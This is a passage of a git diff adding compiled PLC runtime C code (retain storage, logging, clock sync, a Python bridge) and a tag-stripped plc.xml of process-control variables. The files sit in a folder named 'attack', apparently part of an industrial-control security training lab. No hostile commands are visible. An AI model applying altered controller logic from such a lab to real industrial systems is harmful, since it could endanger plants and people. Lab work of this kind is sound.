((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git 